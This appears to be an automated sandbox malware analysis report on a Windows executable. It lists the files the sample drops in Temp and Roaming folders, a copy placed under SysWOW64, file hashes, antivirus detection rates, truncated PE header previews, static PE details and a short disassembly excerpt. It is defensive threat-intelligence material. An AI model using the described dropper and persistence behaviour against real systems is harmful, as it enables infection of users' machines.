C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CBE6.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\CBE6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Temp\1F56.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\36F6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373760
Entropy (8bit):	6.990411328206368
Encrypted:	false
SSDEEP:	6144:GszrgLWpo6b1OmohXrIdF5SpBLE4Hy+74YOAnF3YFUGFHWEZq:Gsgq3b1Omsb7pBLEazsYOSGFHFHW
MD5:	8B239554FE346656C8EEF9484CE8092F
SHA1:	D6A96BE7A61328D7C25D7585807213DD24E0694C
SHA-256:	F96FB1160AAAA0B073EF0CDB061C85C7FAF4EFE018B18BE19D21228C7455E489
SHA-512:	CE9945E2AF46CCD94C99C36360E594FF5048FE8E146210CF8BA0D71C34CC3382B0AA252A96646BBFD57A22E7A72E9B917E457B176BCA2B12CC4F662D8430427D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..U(...(...(...6.).1...6.?.W....l..+...(.......6.8.....6.(.)...6.-.)...Rich(...........PE..L...a.R`.....................v......@.............@..................................&..........................................(........{...................0..........................................@...............8............................text............................... ..`.data...............................@....gizi...............................@....bur................................@....wob................................@....rsrc....{.......\|..................@..@.reloc..4F...0...H...l..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4186.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	356864
Entropy (8bit):	7.848593493266229
Encrypted:	false
SSDEEP:	6144:v5aWbksiNTBiNg5/dEQECtD2YajndnU4aomwStqUJE0ra7yswH:v5atNTMNg5eQX2BdUcDStq+J4bwH
MD5:	6E7430832C1C24C2BF8BE746F2FE583C
SHA1:	158936951114B6A76D665935AD34F6581556FCDF
SHA-256:	972D533E4DF0786799C0E7C914AA6C04870753C10757C5D58CD874B92A7F4739
SHA-512:	79289323C1104F7483FAC9BF2BCAB5B3804C8F2315C8EDEA9D7C83C8B68B64473122F9B38627169D64A35A960A5F74A3364159CA9CB37B0A2B1BA1B41607A8C8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....\...............0....@.........................................................................lq......................................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0...4..................@..@.data........p.......J..............@....rsrc................\..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50F8.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3570176
Entropy (8bit):	7.997630766149595
Encrypted:	true
SSDEEP:	98304:Eyu1PF0IdV1/b4gfya9kofb/4rosp08oUPQH:EjtFp/tfyOTQrosGrUP0
MD5:	DDC599DB99362A7D8642FC19ABE03871
SHA1:	11199134356D8DE145D2EE22AAC37CA8AABA8A0B
SHA-256:	5D94F66FD3315E847213E16E19DFEB008B020798CFFF1334D48AC3344B711F22
SHA-512:	E35DBE56828E804AA78FE436E1717C3A09C416DBE2873FFFC9B44393E7EC2336CE9C544E4D6011C58E7E706819AEABC027AF9A85AA2A2509BDFC39699560ABFD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 46%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....O.a.................$...................@....@.......................... T.....b.6.....................................\|lO. .....M...................................................................................................................... ..........................@................0......................@...........&....@......................@................0......................@............1...P......................@............02......./.................@....rsrc.........M......40.............@....T3QbYgM.....`O.......1.............@....adata........T......z6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5BB7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\66D4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	557664
Entropy (8bit):	7.687250283474463
Encrypted:	false
SSDEEP:	12288:fWxcQhhhhhn8bieAtJlllLtrHWnjkQrK8iBHZkshvesxViA9Og+:fWZhhhhhUATlLtrUbK8oZphveoMA9
MD5:	6ADB5470086099B9169109333FADAB86
SHA1:	87EB7A01E9E54E0A308F8D5EDFD3AF6EBA4DC619
SHA-256:	B4298F77E454BD5F0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4
SHA-512:	D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1EC05DD09F59407FCB74E3375E8EE706ACDA6906E52DE6F2DD5FA3EDDCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L....5...............0..$...*........... ...`....@..........................0.......@....@..................................p..........P)...........................................................................................................idata...`.............................`.pdata.......p......................@....rsrc...P)......0...................@..@.didata..........x..................@.....................................................................................................................................................................................................................................................................................................................g..L.r9..v9.<iP.hL[Kc...",..

C:\Users\user\AppData\Local\Temp\7C90.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	357376
Entropy (8bit):	7.848837612305308
Encrypted:	false
SSDEEP:	6144:L5aWbksiNTBCxw++TiSUOTtF08P3A6rZluu2PocRzBcByMFkBrBXwNmQp9Un:L5atNTAduU0tFDdlD2PVRzBeyiuFbAGn
MD5:	98E5E0F15766F21E9DCBEEF7DFB6EBB2
SHA1:	921E1B410528FF10A2C3980E35A8F036FF5E40B3
SHA-256:	5C7BF1968002CFFE455B5651C6D650323EA800AD03FA996A9F96CC01028AB093
SHA-512:	E425628E1A6311EBF57F73213DF8CDA9C8B5E888A6054188485614D1910F9E1CD879D5DE1D284CA9754D6405809FBDCC9FEFB72852ACE8E7357A71099800CC42
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....^...............0....@.........................................................................lq..........L...........................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0...4..................@..@.data........p.......J..............@....rsrc...L............\..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A975.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	301056
Entropy (8bit):	5.192330972647351
Encrypted:	false
SSDEEP:	3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG
MD5:	277680BD3182EB0940BC356FF4712BEF
SHA1:	5995AE9D0247036CC6D3EA741E7504C913F1FB76
SHA-256:	F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570
SHA-512:	0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0ECB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@............0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B55D.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	6.684914131044075
Encrypted:	false
SSDEEP:	6144:9LHd2wiS+x7uCm4Va9EFEJIURGhB2bwT/FMaEgG:9j7iP7DVRCGURsB26/F
MD5:	137062F7882560195EF978685B52ADF8
SHA1:	8E5A1331E73F0F42833CB70D08A3C10E1A23272E
SHA-256:	75D7FC80555C1F191BE99420DF5E1C67D22174F753757CE3C5DAC011C052014B
SHA-512:	2FE597DC1B1C1FC5FEE90E51B4077FF2E09471BB7E791CBD1CD29A02ABC390D92B98D1C6BCF4581A058D3D0B680133C97375BF3CC1DC7838362D0EE89402F7DC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L...L6U`..........................................@.................................wL..........................................(...................................................................0...@...............@............................text...R........................... ..`.data...............................@....nex................................@....mom................................@....bewe...............................@....rsrc...............................@..@.reloc...F.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BE39.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320512
Entropy (8bit):	6.6890302315074655
Encrypted:	false
SSDEEP:	6144:FfhSQL5rzZtlD/4aqllJffuikJ26447GcQU7:FfYQtzp4VjHudJ2c7G
MD5:	2D03728D8CC5C7FF0FB9F70DE3292CD4
SHA1:	9AA62536884230B8797956AE6EFA811C6C704042
SHA-256:	AABC550440287240F46544F21E786DE24139DCB61419EFF29DF217F2AD86B998
SHA-512:	18A71ABEE0AFFC0400DD95904FCA4B57ABCFA26305C4670FE2434F8CD2A8759CAD71E40DDB799FF4468D04D50B82480E9D99BC1224144EB6B504DF99AC24FCEE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L... ._..........................................@.............................................................................(...................................................................0...@...............@............................text............................... ..`.data...............................@....goxe...............................@....bavo...............................@....pas................................@....rsrc...............................@..@.reloc...F.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C29C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	323072
Entropy (8bit):	6.7090712166873185
Encrypted:	false
SSDEEP:	6144:/YEm3J+HoT/tixXf4a845bUTonGs2tqd/QMqjn:/nm3J+nd4CNCoGs28/Q
MD5:	E65722B6D04BD927BCBF5545A8C45785
SHA1:	5E66800F19A33F89AC68C72EF80FCD8EB94EAB44
SHA-256:	70C3CA7C90CC0A490CA569E569F5EC6377F2C8262F150D63077832030DB4DD94
SHA-512:	6A9AA8096161EB4CE9C3E9DBB8BA3B98F1BC8078076B0C421E45B77139D7875BD8D69CA470C6E36EF776935E06D079051B3DD2F3EE9D3EC10A63944D81D035DB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L...9.g_..........................................@.................................8.......................................$...(...................................................................0...@...............@............................text............................... ..`.data...............................@....tegog..............................@....jat................................@....vudit..............................@....rsrc................"..............@..@.reloc...G.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CBE6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537088
Entropy (8bit):	5.840438491186833
Encrypted:	false
SSDEEP:	12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY
MD5:	D7DF01D8158BFADDC8BA48390E52F355
SHA1:	7B885368AA9459CE6E88D70F48C2225352FAB6EF
SHA-256:	4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
SHA-512:	63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 89%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y...............0.............I... ...`....@.. ....................................@.................................`I..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@....reloc...............0..............@..B.................I......H............?..........hX..}............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(.....~(....(^...8....(.........8........................................0..............0...................................(......0.....................0..............(....z.A.........z.A............................................*.......

C:\Users\user\AppData\Local\Temp\qsflslyl.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\BE39.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11195392
Entropy (8bit):	3.8127956132800116
Encrypted:	false
SSDEEP:	6144:HfhSQL5rzZtlD/4aqllJffuikJ26447GcQU7:HfYQtzp4VjHudJ2c7G
MD5:	A27D243DDDF5F59959E0DEC515C3B984
SHA1:	085C60A1E78343016899B5D1044ACCEC81E323D2
SHA-256:	9B1F679E956C097DACA426252CCA47AECFE8E4CD9CBF8B82AD21EB8D4210616B
SHA-512:	3986FE326111D7A6110B1BB88E091A007FB2743EC11AD1B086F316FC7C5D0C320B5C8EB1A1EAC284C7548DDC0F919B57723BCBFBCB9F5339D9153A99809934E7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L... ._..........................................@.............................................................................(...................................................................0...@...............@............................text............................... ..`.data...............................@....goxe...............................@....bavo...............................@....pas................................@....rsrc...............................@..@.reloc...F.......8..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fjsvubj Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	293888
Entropy (8bit):	5.153022004986751
Encrypted:	false
SSDEEP:	3072:axGfAMitxzX34mcHWM0R7V1SUr7yBWtmjkaVggjcGkNIVqI:axGojrImFF5VkUrmWtli7ITsq
MD5:	8CD20CB52ADC22E02B72F1ED7ACDFFA3
SHA1:	7240A06C5838E97100BB3AD3D7907171418CC9F5
SHA-256:	C2C074381D900532E327A4667664949B3436F8896A1BE2E7EAD279863CF98036
SHA-512:	3A246EEAACC439A9D04F8C75D5FB365B17507D49A53D9F0D496D1B087ECD35B4E16C86CB471DB069F2275D2BB42F148C38B60AF81CDC6392C9698456A0B54531
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%l,9a.Bja.Bja.Bj._.j\|.Bj._.j..Bj._.jO.BjF.9jb.Bja.Cj..Bj._.j`.Bj._.j`.Bj._.j`.BjRicha.Bj................PE..L......`................. ..........`3.......0....@.............................................................................(....................................1...............................s..@............0...............................text............ .................. ..`.rdata..nY...0...Z...$..............@..@.data...8........ ...~..............@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fjsvubj:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11195392
Entropy (8bit):	3.8127956132800116
Encrypted:	false
SSDEEP:	6144:HfhSQL5rzZtlD/4aqllJffuikJ26447GcQU7:HfYQtzp4VjHudJ2c7G
MD5:	A27D243DDDF5F59959E0DEC515C3B984
SHA1:	085C60A1E78343016899B5D1044ACCEC81E323D2
SHA-256:	9B1F679E956C097DACA426252CCA47AECFE8E4CD9CBF8B82AD21EB8D4210616B
SHA-512:	3986FE326111D7A6110B1BB88E091A007FB2743EC11AD1B086F316FC7C5D0C320B5C8EB1A1EAC284C7548DDC0F919B57723BCBFBCB9F5339D9153A99809934E7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L... ._..........................................@.............................................................................(...................................................................0...@...............@............................text............................... ..`.data...............................@....goxe...............................@....bavo...............................@....pas................................@....rsrc...............................@..@.reloc...F.......8..................@..B................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.153022004986751
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PPsa8TXVuy.exe
File size:	293888
MD5:	8cd20cb52adc22e02b72f1ed7acdffa3
SHA1:	7240a06c5838e97100bb3ad3d7907171418cc9f5
SHA256:	c2c074381d900532e327a4667664949b3436f8896a1be2e7ead279863cf98036
SHA512:	3a246eeaacc439a9d04f8c75d5fb365b17507d49a53d9f0d496d1b087ecd35b4e16c86cb471db069f2275d2bb42f148c38b60af81cdc6392c9698456a0b54531
SSDEEP:	3072:axGfAMitxzX34mcHWM0R7V1SUr7yBWtmjkaVggjcGkNIVqI:axGojrImFF5VkUrmWtli7ITsq
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%l,9a.Bja.Bja.Bj._.j\|.Bj._.j..Bj._.jO.BjF.9jb.Bja.Cj..Bj._.j`.Bj._.j`.Bj._.j`.BjRicha.Bj................PE..L......`...........

File Icon


Icon Hash:	acfc36b6b694c6e2

Static PE Info

General
Entrypoint:	0x403360
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6005C6D2 [Mon Jan 18 17:35:14 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	996fe7decbf39b8813e0892e829e72ad

Entrypoint Preview

Instruction
call 00007F102D2B584Ch
jmp 00007F102D2AFB5Dh
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F102D2AFD06h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F102D2AFD30h
test ecx, 00000003h
jne 00007F102D2AFCD1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F102D2AFCCAh
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F102D2AFD14h
test ah, ah
je 00007F102D2AFD06h
test eax, 00FF0000h
je 00007F102D2AFCF5h
test eax, FF000000h
je 00007F102D2AFCE4h
jmp 00007F102D2AFCAFh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0041328Ch
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F102D2AFCEEh
test byte ptr [eax], 00000008h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[LNK] VS2008 build 21022
[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x18088	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x41000	0xdc88	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x131e0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17388	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x13000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11fc6	0x12000	False	0.612345377604	data	6.69758331159	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x13000	0x596e	0x5a00	False	0.457248263889	data	5.66672093373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x19000	0x27f38	0x22000	False	0.2490234375	data	2.75894217095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x41000	0xdc88	0xde00	False	0.682344453829	data	6.39123933127	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x4dff0	0x130	data	Bulgarian	Bulgaria
RT_ICON	0x415d0	0xea8	data	Bulgarian	Bulgaria
RT_ICON	0x42478	0x8a8	data	Bulgarian	Bulgaria
RT_ICON	0x42d20	0x6c8	data	Bulgarian	Bulgaria
RT_ICON	0x433e8	0x568	GLS_BINARY_LSB_FIRST	Bulgarian	Bulgaria
RT_ICON	0x43950	0x25a8	data	Bulgarian	Bulgaria
RT_ICON	0x45ef8	0x10a8	data	Bulgarian	Bulgaria
RT_ICON	0x46fa0	0x988	data	Bulgarian	Bulgaria
RT_ICON	0x47928	0x468	GLS_BINARY_LSB_FIRST	Bulgarian	Bulgaria
RT_ICON	0x47e08	0xea8	data	Bulgarian	Bulgaria
RT_ICON	0x48cb0	0x8a8	data	Bulgarian	Bulgaria
RT_ICON	0x49558	0x568	GLS_BINARY_LSB_FIRST	Bulgarian	Bulgaria
RT_ICON	0x49ac0	0x25a8	data	Bulgarian	Bulgaria
RT_ICON	0x4c068	0x10a8	data	Bulgarian	Bulgaria
RT_ICON	0x4d110	0x988	data	Bulgarian	Bulgaria
